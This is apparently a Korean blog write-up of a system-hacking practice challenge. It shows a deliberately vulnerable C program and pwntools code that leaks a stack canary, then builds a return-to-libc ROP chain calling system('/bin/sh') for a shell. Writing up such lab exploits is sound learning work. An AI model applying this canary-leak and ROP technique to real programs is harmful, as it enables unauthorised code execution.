Return to Library

곽무경·2022년 7월 3일

System Hacking Quiz

목록 보기
12/21

적용된 보호기법


Canary와 NX가 적용되어 있다. ASLR은 어차피 커널에서 지원하는 것이니 당연히 될 것이다.
이번 거는 어쩐 일인지 아키텍처가 amd64이다.

c 코드

// Name: rtl2.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";             # 전역 변수로 선언된 binsh

int main() {
  char buf[0x30];                          # 0x30 짜리 버퍼

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");              # system 함수의 plt주소를 알아내기 위해

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);                # 이곳에서 카나리 유출 가능

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);                     # 이곳에서 가젯 사용

  return 0;
}

/bin/sh가 전역변수로 주어져 있다. (전역변수는 데이터 영역)
→ 나중에 "/bin/sh"의 주소를 파악해서 이용해야 한다.

1. 스택 분석


버퍼의 크기는 0x30 이고 canary의 크기는 0x8 인데 스택 프레임 크기는 0x40이다.
더미 데이터 가 존재하는 것으로 보인다.
카나리가 rbp-8부터 8바이트를 차지하므로,
더미 데이터 는 버퍼와 카나리 사이에 존재한다. 즉

구조는 대충 이렇다.
첫번째 입력에 A를 39개 보내서 카나리를 획득할 수 있다.

2. 카나리 획득

dummy=b'A'*0x39                   # 8바이트의 더미 데이터가 있으므로 총 39바이트 전송
p.sendafter(b"Buf: ", dummy)
p.recvuntil(dummy)
canary=u64(b'\x00'+p.recvn(7))

3. /bin/sh 주소 획득

0x400874

4. pop rdi 주소 획득


0x400853

5. ret 주소 획득


0x400285

6. payload 작성

poprdi=0x400853
ret=0x400285
binsh=0x400874
payload=b'B'*0x38+p64(canary)+b'S'*0x8      # 버퍼+카나리+SFP
payload+=p64(ret)                           # 반환 주소(그냥 ret)
payload+=p64(poprdi)                        # pop rdi 주소      
payload+=p64(binsh)                         # "/bin/sh" 주소
payload+=p64(e.plt['system'])               # system() plt주소

7. 셸 획득 및 flag 획득

0개의 댓글